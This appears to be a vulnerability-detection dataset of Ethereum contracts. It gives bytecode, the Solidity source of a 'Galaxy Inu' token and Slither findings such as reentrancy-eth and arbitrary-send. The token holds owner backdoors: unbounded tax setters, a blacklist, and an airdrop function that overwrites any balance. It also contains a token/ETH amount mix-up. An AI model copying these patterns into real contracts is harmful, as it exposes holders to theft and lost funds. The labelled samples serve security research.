0x6080604052600436106100705760003560e01c80636f2ddd931161004e5780636f2ddd93146103185780638976263d1461032d578063a994ee2d146103ca578063e5a6c28f146103df57610070565b80634f411f7b14610075578063565974d3146100a65780635d22b72c14610130575b600080fd5b34801561008157600080fd5b5061008a610406565b604080516001600160a01b039092168252519081900360200190f35b3480156100b257600080fd5b506100bb610415565b6040805160208082528351818301528351919283929083019185019080838360005b838110156100f55781810151838201526020016100dd565b50505050905090810190601f1680156101225780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61008a600480360361016081101561014757600080fd5b6001600160a01b038235169160ff6020820135169160408201359160608101359160808201359160a08101359181019060e0810160c0820135600160201b81111561019157600080fd5b8201836020820111156101a357600080fd5b803590602001918460018302840111600160201b831117156101c457600080fd5b91908080601f0160208091040260200160405190810160405280939291908181526020018383808284376000920191909152509295949360208101935035915050600160201b81111561021657600080fd5b82018360208201111561022857600080fd5b803590602001918460018302840111600160201b8311171561024957600080fd5b91908080601f0160208091040260200160405190810160405280939291908181526020018383808284376000920191909152509295949360208101935035915050600160201b81111561029b57600080fd5b8201836020820111156102ad57600080fd5b803590602001918460018302840111600160201b831117156102ce57600080fd5b91908080601f0160208091040260200160405190810160405280939291908181526020018383808284376000920191909152509295505050508035151591506020013515156104a3565b34801561032457600080fd5b5061008a61083e565b34801561033957600080fd5b506103c86004803603608081101561035057600080fd5b6001600160a01b03823581169260208101359091169160408201359190810190608081016060820135600160201b81111561038a57600080fd5b82018360208201111561039c57600080fd5b803590602001918460018302840111600160201b831117156103bd57600080fd5b509092509050610862565b005b3480156103d657600080fd5b5061008a610970565b3480156103eb57600080fd5b506103f461097f565b60408051918252519081900360200190f35b6000546001600160a01b031681565b6003805460408051602060026001851615610100026000190190941693909304601f8101849004840282018401909252818152929183018282801561049b5780601f106104705761010080835404028352916020019161049b565b820191906000526020600020905b81548152906001019060200180831161047e57829003601f168201915b505050505081565b6000806104cf7f000000000000000000000000e877e12d278c6a6d2cc6e34184b340216b55b236610985565b9050806001600160a01b0316637a0c21ee8e8e8e8e8e8e8e8e8e8e8e6040518c63ffffffff1660e01b8152600401808c6001600160a01b031681526020018b60ff1681526020018a815260200189815260200188815260200187815260200180602001806020018060200186151581526020018515158152602001848103845289818151815260200191508051906020019080838360005b8381101561057f578181015183820152602001610567565b50505050905090810190601f1680156105ac5780820380516001836020036101000a031916815260200191505b5084810383528851815288516020918201918a019080838360005b838110156105df5781810151838201526020016105c7565b50505050905090810190601f16801561060c5780820380516001836020036101000a031916815260200191505b50848103825287518152875160209182019189019080838360005b8381101561063f578181015183820152602001610627565b50505050905090810190601f16801561066c5780820380516001836020036101000a031916815260200191505b509e505050505050505050505050505050600060405180830381600087803b15801561069757600080fd5b505af11580156106ab573d6000803e3d6000fd5b50505050600034111561074d57600080546040516001600160a01b039091169034908381818185875af1925050503d8060008114610705576040519150601f19603f3d011682016040523d82523d6000602084013e61070a565b606091505b505090508061074b576040805162461bcd60e51b815260206004820152600860248201526708595d1a10d85b1b60c21b604482015290519081900360640190fd5b505b600254156107d9576001546002546040805163a9059cbb60e01b81523360048201526024810192909252516001600160a01b039092169163a9059cbb916044808201926020929091908290030181600087803b1580156107ac57600080fd5b505af11580156107c0573d6000803e3d6000fd5b505050506040513d60208110156107d657600080fd5b50505b8c6001600160a01b0316816001600160a01b03167f176531a4d8afdce919b7d31d8cfd2b6d7a2787ef70e6fc44d338bce7a6a080e68c876040518083815260200182151581526020019250505060405180910390a39c9b505050505050505050505050565b7f000000000000000000000000e877e12d278c6a6d2cc6e34184b340216b55b23681565b6000546001600160a01b031633146108ab576040805162461bcd60e51b8152602060048201526007602482015266216c657844414f60c81b604482015290519081900360640190fd5b600080546001600160a01b038088166001600160a01b031992831617909255600180549287169290911691909117905560028390556108ec600383836109d7565b50836001600160a01b0316856001600160a01b03167fc16022c45ae27eef14066d63387483d5bb50365e714b01775bf4769d05470a5985858560405180848152602001806020018281038252848482818152602001925080828437600083820152604051601f909101601f1916909201829003965090945050505050a35050505050565b6001546001600160a01b031681565b60025481565b6000808260601b9050604051733d602d80600a3d3981f3363d3d373d3d3d363d7360601b81528160148201526e5af43d82803e903d91602b57fd5bf360881b60288201526037816000f0949350505050565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282610a0d5760008555610a53565b82601f10610a265782800160ff19823516178555610a53565b82800160010185558215610a53579182015b82811115610a53578235825591602001919060010190610a38565b50610a5f929150610a63565b5090565b5b80821115610a5f5760008155600101610a6456fea26469706673582212200da60ae1dd3711eb1a3d8ba265ced4e5c778f6e84b899bfdb8f0289c4f4f444b64736f6c63430007040033
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}]}}
8,516
0xb108a617112e82564e29b6a24a65adcb7379cdf4
//SPDX-License-Identifier: MIT pragma solidity ^0.8.12; interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "GalaxyInu: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } contract GalaxyInu is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _balance; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) public bots; uint256 private _tTotal = 1000000000 * 10**8; uint256 private _contractAutoLpLimitToken = 1000000000000000000; uint256 private _taxFee; uint256 private _buyTaxMarketing = 8; uint256 private _sellTaxMarketing = 3; uint256 private _autoLpFee = 3; uint256 private _LpPercentBase100 = 35; address payable private _taxWallet; address payable private _contractPayment; uint256 private _maxTxAmount; uint256 private _maxWallet; string private constant _name = "Galaxy Inu"; string private constant _symbol = "GLXI"; uint8 private constant _decimals = 8; IUniswapV2Router02 private _uniswap; address private _pair; bool private _canTrade; bool private _inSwap = false; bool private _swapEnabled = false; event SwapAndLiquify( uint256 tokensSwapped, uint256 coinReceived, uint256 tokensIntoLiqudity ); modifier lockTheSwap { _inSwap = true; _; _inSwap = false; } constructor () { _taxWallet = payable(_msgSender()); _contractPayment = payable(address(this)); _taxFee = _buyTaxMarketing + _autoLpFee; _uniswap = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_taxWallet] = true; _maxTxAmount = _tTotal.mul(2).div(10**2); _maxWallet = _tTotal.mul(4).div(10**2); _balance[0x67B1045f193B35a31C90BE77e3f1C3da95339799] = _tTotal; emit Transfer(address(0), 0x67B1045f193B35a31C90BE77e3f1C3da95339799, _tTotal); } function maxTxAmount() public view returns (uint256){ return _maxTxAmount; } function maxWallet() public view returns (uint256){ return _maxWallet; } function isInSwap() public view returns (bool) { return _inSwap; } function isSwapEnabled() public view returns (bool) { return _swapEnabled; } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _tTotal; } function excludeFromFee(address account) public onlyOwner { _isExcludedFromFee[account] = true; } function includeInFee(address account) public onlyOwner { _isExcludedFromFee[account] = false; } function setTaxFeePercent(uint256 taxFee) external onlyOwner() { _taxFee = taxFee; } function setSellMarketingTax(uint256 taxFee) external onlyOwner() { _sellTaxMarketing = taxFee; } function setBuyMarketingTax(uint256 taxFee) external onlyOwner() { _buyTaxMarketing = taxFee; } function setAutoLpFee(uint256 taxFee) external onlyOwner() { _autoLpFee = taxFee; } function setContractAutoLpLimit(uint256 newLimit) external onlyOwner() { _contractAutoLpLimitToken = newLimit; } function balanceOf(address account) public view override returns (uint256) { return _balance[account]; } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); require(!bots[from] && !bots[to], "This account is blacklisted"); if (from != owner() && to != owner()) { if (from == _pair && to != address(_uniswap) && ! _isExcludedFromFee[to] ) { require(amount<=_maxTxAmount,"Transaction amount limited"); require(_canTrade,"Trading not started"); require(balanceOf(to) + amount <= _maxWallet, "Balance exceeded wallet size"); } if (from == _pair) { _taxFee = buyTax(); } else { _taxFee = sellTax(); } uint256 contractTokenBalance = balanceOf(address(this)); if(!_inSwap && from != _pair && _swapEnabled) { if(contractTokenBalance >= _contractAutoLpLimitToken) { swapAndLiquify(contractTokenBalance); } } } _tokenTransfer(from,to,amount,(_isExcludedFromFee[to]||_isExcludedFromFee[from])?0:_taxFee); } function swapAndLiquify(uint256 contractTokenBalance) private lockTheSwap { uint256 autoLpTokenBalance = contractTokenBalance.mul(_LpPercentBase100).div(10**2); uint256 marketingAmount = contractTokenBalance.sub(autoLpTokenBalance); uint256 half = autoLpTokenBalance.div(2); uint256 otherHalf = autoLpTokenBalance.sub(half); uint256 initialBalance = address(this).balance; swapTokensForEth(half); uint256 newBalance = address(this).balance.sub(initialBalance); addLiquidityAuto(newBalance, otherHalf); emit SwapAndLiquify(half, newBalance, otherHalf); swapTokensForEth(marketingAmount); sendETHToFee(marketingAmount); } function buyTax() private view returns (uint256) { return (_autoLpFee + _buyTaxMarketing); } function sellTax() private view returns (uint256) { return (_autoLpFee + _sellTaxMarketing); } function setMaxTx(uint256 amount) public onlyOwner{ require(amount>_maxTxAmount); _maxTxAmount=amount; } function sendETHToFee(uint256 amount) private { _taxWallet.transfer(amount); } function swapTokensForEth(uint256 tokenAmount) private { address[] memory path = new address[](2); path[0] = address(this); path[1] = _uniswap.WETH(); _approve(address(this), address(_uniswap), tokenAmount); _uniswap.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function createPair() external onlyOwner { require(!_canTrade,"Trading is already open"); _approve(address(this), address(_uniswap), _tTotal); _pair = IUniswapV2Factory(_uniswap.factory()).createPair(address(this), _uniswap.WETH()); IERC20(_pair).approve(address(_uniswap), type(uint).max); } function addLiquidityInitial() external onlyOwner{ _uniswap.addLiquidityETH{value: address(this).balance} ( address(this), balanceOf(address(this)), 0, 0, owner(), block.timestamp ); _swapEnabled = true; } function addLiquidityAuto(uint256 etherValue, uint256 tokenValue) private { _approve(address(this), address(_uniswap), tokenValue); _uniswap.addLiquidityETH{value: etherValue} ( address(this), tokenValue, 0, 0, owner(), block.timestamp ); _swapEnabled = true; } function enableTrading(bool _enable) external onlyOwner{ _canTrade = _enable; } function _tokenTransfer(address sender, address recipient, uint256 tAmount, uint256 taxRate) private { uint256 tTeam = tAmount.mul(taxRate).div(100); uint256 tTransferAmount = tAmount.sub(tTeam); _balance[sender] = _balance[sender].sub(tAmount); _balance[recipient] = _balance[recipient].add(tTransferAmount); _balance[address(this)] = _balance[address(this)].add(tTeam); emit Transfer(sender, recipient, tTransferAmount); } function setMaxWallet(uint256 amount) public onlyOwner{ require(amount>_maxWallet); _maxWallet=amount; } receive() external payable {} function blockBots(address[] memory bots_) public onlyOwner {for (uint256 i = 0; i < bots_.length; i++) {bots[bots_[i]] = true;}} function unblockBot(address notbot) public onlyOwner { bots[notbot] = false; } function manualsend() public{ uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function airdropOldHolders(address[] memory recipients, uint256[] memory amounts) public onlyOwner { for(uint256 i = 0; i < recipients.length; i++) { _balance[recipients[i]] = amounts[i] * 10**8; emit Transfer(address(this), recipients[i], amounts[i] * 10**8); } } }
0x6080604052600436106101e65760003560e01c8063715018a611610102578063bc33718211610095578063e350779711610064578063e3507797146105cc578063ea2f0b37146105ec578063f275f64b1461060c578063f8b45b051461062c57600080fd5b8063bc33718214610517578063bfd7928414610537578063cc99689914610567578063dd62ed3e1461058657600080fd5b80638da5cb5b116100d15780638da5cb5b1461048d57806395d89b41146104b55780639e78fb4f146104e2578063a9059cbb146104f757600080fd5b8063715018a61461042e5780637b41192a14610443578063818a7def146104635780638c0b5e221461047857600080fd5b8063351a964d1161017a57806363148a501161014957806363148a50146103a35780636b999053146103c35780636fc3eaec146103e357806370a08231146103f857600080fd5b8063351a964d146103245780634263ec3314610343578063437823ec146103635780635d0044ca1461038357600080fd5b806318160ddd116101b657806318160ddd146102a95780631d60c2b0146102c857806323b872dd146102e8578063313ce5671461030857600080fd5b8062b8cf2a146101f2578063061c82d01461021457806306fdde0314610234578063095ea7b31461027957600080fd5b366101ed57005b600080fd5b3480156101fe57600080fd5b5061021261020d366004611be0565b610641565b005b34801561022057600080fd5b5061021261022f366004611c1d565b6106e0565b34801561024057600080fd5b5060408051808201909152600a81526947616c61787920496e7560b01b60208201525b6040516102709190611c36565b60405180910390f35b34801561028557600080fd5b50610299610294366004611c8b565b61070f565b6040519015158152602001610270565b3480156102b557600080fd5b506006545b604051908152602001610270565b3480156102d457600080fd5b506102126102e3366004611c1d565b610726565b3480156102f457600080fd5b50610299610303366004611cb7565b610755565b34801561031457600080fd5b5060405160088152602001610270565b34801561033057600080fd5b50601254600160b01b900460ff16610299565b34801561034f57600080fd5b5061021261035e366004611c1d565b6107be565b34801561036f57600080fd5b5061021261037e366004611cf8565b6107ed565b34801561038f57600080fd5b5061021261039e366004611c1d565b61083b565b3480156103af57600080fd5b506102126103be366004611d15565b610878565b3480156103cf57600080fd5b506102126103de366004611cf8565b6109b8565b3480156103ef57600080fd5b50610212610a03565b34801561040457600080fd5b506102ba610413366004611cf8565b6001600160a01b031660009081526002602052604090205490565b34801561043a57600080fd5b50610212610a10565b34801561044f57600080fd5b5061021261045e366004611c1d565b610a84565b34801561046f57600080fd5b50610212610ab3565b34801561048457600080fd5b50600f546102ba565b34801561049957600080fd5b506000546040516001600160a01b039091168152602001610270565b3480156104c157600080fd5b50604080518082019091526004815263474c584960e01b6020820152610263565b3480156104ee57600080fd5b50610212610ba1565b34801561050357600080fd5b50610299610512366004611c8b565b610e3b565b34801561052357600080fd5b50610212610532366004611c1d565b610e48565b34801561054357600080fd5b50610299610552366004611cf8565b60056020526000908152604090205460ff1681565b34801561057357600080fd5b50601254600160a81b900460ff16610299565b34801561059257600080fd5b506102ba6105a1366004611dd0565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b3480156105d857600080fd5b506102126105e7366004611c1d565b610e85565b3480156105f857600080fd5b50610212610607366004611cf8565b610eb4565b34801561061857600080fd5b50610212610627366004611e17565b610eff565b34801561063857600080fd5b506010546102ba565b6000546001600160a01b031633146106745760405162461bcd60e51b815260040161066b90611e34565b60405180910390fd5b60005b81518110156106dc5760016005600084848151811061069857610698611e76565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff1916911515919091179055806106d481611ea2565b915050610677565b5050565b6000546001600160a01b0316331461070a5760405162461bcd60e51b815260040161066b90611e34565b600855565b600061071c33848461100f565b5060015b92915050565b6000546001600160a01b031633146107505760405162461bcd60e51b815260040161066b90611e34565b600a55565b6000610762848484611133565b6107b484336107af85604051806060016040528060288152602001612042602891396001600160a01b038a166000908152600360209081526040808320338452909152902054919061157f565b61100f565b5060019392505050565b6000546001600160a01b031633146107e85760405162461bcd60e51b815260040161066b90611e34565b600955565b6000546001600160a01b031633146108175760405162461bcd60e51b815260040161066b90611e34565b6001600160a01b03166000908152600460205260409020805460ff19166001179055565b6000546001600160a01b031633146108655760405162461bcd60e51b815260040161066b90611e34565b601054811161087357600080fd5b601055565b6000546001600160a01b031633146108a25760405162461bcd60e51b815260040161066b90611e34565b60005b82518110156109b3578181815181106108c0576108c0611e76565b60200260200101516305f5e1006108d79190611ebd565b600260008584815181106108ed576108ed611e76565b60200260200101516001600160a01b03166001600160a01b031681526020019081526020016000208190555082818151811061092b5761092b611e76565b60200260200101516001600160a01b0316306001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84848151811061097957610979611e76565b60200260200101516305f5e1006109909190611ebd565b60405190815260200160405180910390a3806109ab81611ea2565b9150506108a5565b505050565b6000546001600160a01b031633146109e25760405162461bcd60e51b815260040161066b90611e34565b6001600160a01b03166000908152600560205260409020805460ff19169055565b47610a0d816115b9565b50565b6000546001600160a01b03163314610a3a5760405162461bcd60e51b815260040161066b90611e34565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b03163314610aae5760405162461bcd60e51b815260040161066b90611e34565b600b55565b6000546001600160a01b03163314610add5760405162461bcd60e51b815260040161066b90611e34565b6011546001600160a01b031663f305d7194730610b0f816001600160a01b031660009081526002602052604090205490565b600080610b246000546001600160a01b031690565b426040518863ffffffff1660e01b8152600401610b4696959493929190611edc565b60606040518083038185885af1158015610b64573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610b899190611f17565b50506012805460ff60b01b1916600160b01b17905550565b6000546001600160a01b03163314610bcb5760405162461bcd60e51b815260040161066b90611e34565b601254600160a01b900460ff1615610c255760405162461bcd60e51b815260206004820152601760248201527f54726164696e6720697320616c7265616479206f70656e000000000000000000604482015260640161066b565b601154600654610c429130916001600160a01b039091169061100f565b601160009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610c95573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610cb99190611f45565b6001600160a01b031663c9c6539630601160009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610d1b573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d3f9190611f45565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610d8c573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610db09190611f45565b601280546001600160a01b0319166001600160a01b0392831690811790915560115460405163095ea7b360e01b81529216600483015260001960248301529063095ea7b3906044016020604051808303816000875af1158015610e17573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a0d9190611f62565b600061071c338484611133565b6000546001600160a01b03163314610e725760405162461bcd60e51b815260040161066b90611e34565b600f548111610e8057600080fd5b600f55565b6000546001600160a01b03163314610eaf5760405162461bcd60e51b815260040161066b90611e34565b600755565b6000546001600160a01b03163314610ede5760405162461bcd60e51b815260040161066b90611e34565b6001600160a01b03166000908152600460205260409020805460ff19169055565b6000546001600160a01b03163314610f295760405162461bcd60e51b815260040161066b90611e34565b60128054911515600160a01b0260ff60a01b19909216919091179055565b600082610f5657506000610720565b6000610f628385611ebd565b905082610f6f8583611f7f565b14610fc65760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161066b565b9392505050565b6000610fc683836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506115f3565b6001600160a01b0383166110715760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161066b565b6001600160a01b0382166110d25760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161066b565b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166111975760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161066b565b6001600160a01b0382166111f95760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161066b565b6000811161125b5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161066b565b6001600160a01b03831660009081526005602052604090205460ff1615801561129d57506001600160a01b03821660009081526005602052604090205460ff16155b6112e95760405162461bcd60e51b815260206004820152601b60248201527f54686973206163636f756e7420697320626c61636b6c69737465640000000000604482015260640161066b565b6000546001600160a01b0384811691161480159061131557506000546001600160a01b03838116911614155b15611523576012546001600160a01b03848116911614801561134557506011546001600160a01b03838116911614155b801561136a57506001600160a01b03821660009081526004602052604090205460ff16155b1561148b57600f548111156113c15760405162461bcd60e51b815260206004820152601a60248201527f5472616e73616374696f6e20616d6f756e74206c696d69746564000000000000604482015260640161066b565b601254600160a01b900460ff166114105760405162461bcd60e51b8152602060048201526013602482015272151c98591a5b99c81b9bdd081cdd185c9d1959606a1b604482015260640161066b565b60105481611433846001600160a01b031660009081526002602052604090205490565b61143d9190611fa1565b111561148b5760405162461bcd60e51b815260206004820152601c60248201527f42616c616e63652065786365656465642077616c6c65742073697a6500000000604482015260640161066b565b6012546001600160a01b03848116911614156114b1576114a9611621565b6008556114bd565b6114b9611638565b6008555b30600090815260026020526040902054601254600160a81b900460ff161580156114f557506012546001600160a01b03858116911614155b801561150a5750601254600160b01b900460ff165b15611521576007548110611521576115218161164a565b505b6001600160a01b0382166000908152600460205260409020546109b39084908490849060ff168061156c57506001600160a01b03871660009081526004602052604090205460ff165b61157857600854611733565b6000611733565b600081848411156115a35760405162461bcd60e51b815260040161066b9190611c36565b5060006115b08486611fb9565b95945050505050565b600d546040516001600160a01b039091169082156108fc029083906000818181858888f193505050501580156106dc573d6000803e3d6000fd5b600081836116145760405162461bcd60e51b815260040161066b9190611c36565b5060006115b08486611f7f565b6000600954600b546116339190611fa1565b905090565b6000600a54600b546116339190611fa1565b6012805460ff60a81b1916600160a81b179055600c5460009061167b90606490611675908590610f47565b90610fcd565b905060006116898383611831565b90506000611698836002610fcd565b905060006116a68483611831565b9050476116b283611873565b60006116be4783611831565b90506116ca81846119cd565b60408051858152602081018390529081018490527f17bbfb9a6069321b6ded73bd96327c9e6b7212a5cd51ff219cd61370acafb5619060600160405180910390a161171485611873565b61171d856115b9565b50506012805460ff60a81b191690555050505050565b600061174460646116758585610f47565b905060006117528483611831565b6001600160a01b0387166000908152600260205260409020549091506117789085611831565b6001600160a01b0380881660009081526002602052604080822093909355908716815220546117a79082611a8d565b6001600160a01b0386166000908152600260205260408082209290925530815220546117d39083611a8d565b3060009081526002602090815260409182902092909255518281526001600160a01b0387811692908916917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a3505050505050565b6000610fc683836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061157f565b60408051600280825260608201835260009260208301908036833701905050905030816000815181106118a8576118a8611e76565b6001600160a01b03928316602091820292909201810191909152601154604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611901573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906119259190611f45565b8160018151811061193857611938611e76565b6001600160a01b03928316602091820292909201015260115461195e913091168461100f565b60115460405163791ac94760e01b81526001600160a01b039091169063791ac94790611997908590600090869030904290600401611fd0565b600060405180830381600087803b1580156119b157600080fd5b505af11580156119c5573d6000803e3d6000fd5b505050505050565b6011546119e59030906001600160a01b03168361100f565b6011546001600160a01b031663f305d719833084600080611a0e6000546001600160a01b031690565b426040518863ffffffff1660e01b8152600401611a3096959493929190611edc565b60606040518083038185885af1158015611a4e573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190611a739190611f17565b50506012805460ff60b01b1916600160b01b179055505050565b600080611a9a8385611fa1565b905083811015610fc65760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161066b565b634e487b7160e01b600052604160045260246000fd5b604051601f8201601f1916810167ffffffffffffffff81118282101715611b2b57611b2b611aec565b604052919050565b600067ffffffffffffffff821115611b4d57611b4d611aec565b5060051b60200190565b6001600160a01b0381168114610a0d57600080fd5b600082601f830112611b7d57600080fd5b81356020611b92611b8d83611b33565b611b02565b82815260059290921b84018101918181019086841115611bb157600080fd5b8286015b84811015611bd5578035611bc881611b57565b8352918301918301611bb5565b509695505050505050565b600060208284031215611bf257600080fd5b813567ffffffffffffffff811115611c0957600080fd5b611c1584828501611b6c565b949350505050565b600060208284031215611c2f57600080fd5b5035919050565b600060208083528351808285015260005b81811015611c6357858101830151858201604001528201611c47565b81811115611c75576000604083870101525b50601f01601f1916929092016040019392505050565b60008060408385031215611c9e57600080fd5b8235611ca981611b57565b946020939093013593505050565b600080600060608486031215611ccc57600080fd5b8335611cd781611b57565b92506020840135611ce781611b57565b929592945050506040919091013590565b600060208284031215611d0a57600080fd5b8135610fc681611b57565b60008060408385031215611d2857600080fd5b823567ffffffffffffffff80821115611d4057600080fd5b611d4c86838701611b6c565b9350602091508185013581811115611d6357600080fd5b85019050601f81018613611d7657600080fd5b8035611d84611b8d82611b33565b81815260059190911b82018301908381019088831115611da357600080fd5b928401925b82841015611dc157833582529284019290840190611da8565b80955050505050509250929050565b60008060408385031215611de357600080fd5b8235611dee81611b57565b91506020830135611dfe81611b57565b809150509250929050565b8015158114610a0d57600080fd5b600060208284031215611e2957600080fd5b8135610fc681611e09565b60208082526022908201527f47616c617879496e753a2063616c6c6572206973206e6f7420746865206f776e60408201526132b960f11b606082015260800190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600019821415611eb657611eb6611e8c565b5060010190565b6000816000190483118215151615611ed757611ed7611e8c565b500290565b6001600160a01b039687168152602081019590955260408501939093526060840191909152909216608082015260a081019190915260c00190565b600080600060608486031215611f2c57600080fd5b8351925060208401519150604084015190509250925092565b600060208284031215611f5757600080fd5b8151610fc681611b57565b600060208284031215611f7457600080fd5b8151610fc681611e09565b600082611f9c57634e487b7160e01b600052601260045260246000fd5b500490565b60008219821115611fb457611fb4611e8c565b500190565b600082821015611fcb57611fcb611e8c565b500390565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156120205784516001600160a01b031683529383019391830191600101611ffb565b50506001600160a01b0396909616606085015250505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220be3e12e7fe6d22326c7d57868165a6150b5d7a1beb5460fe92a9d86bcffb8ed864736f6c634300080c0033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
8,517
0xc8a7a65ae5ebfa183588b45f7eb6841fcc8e34a3
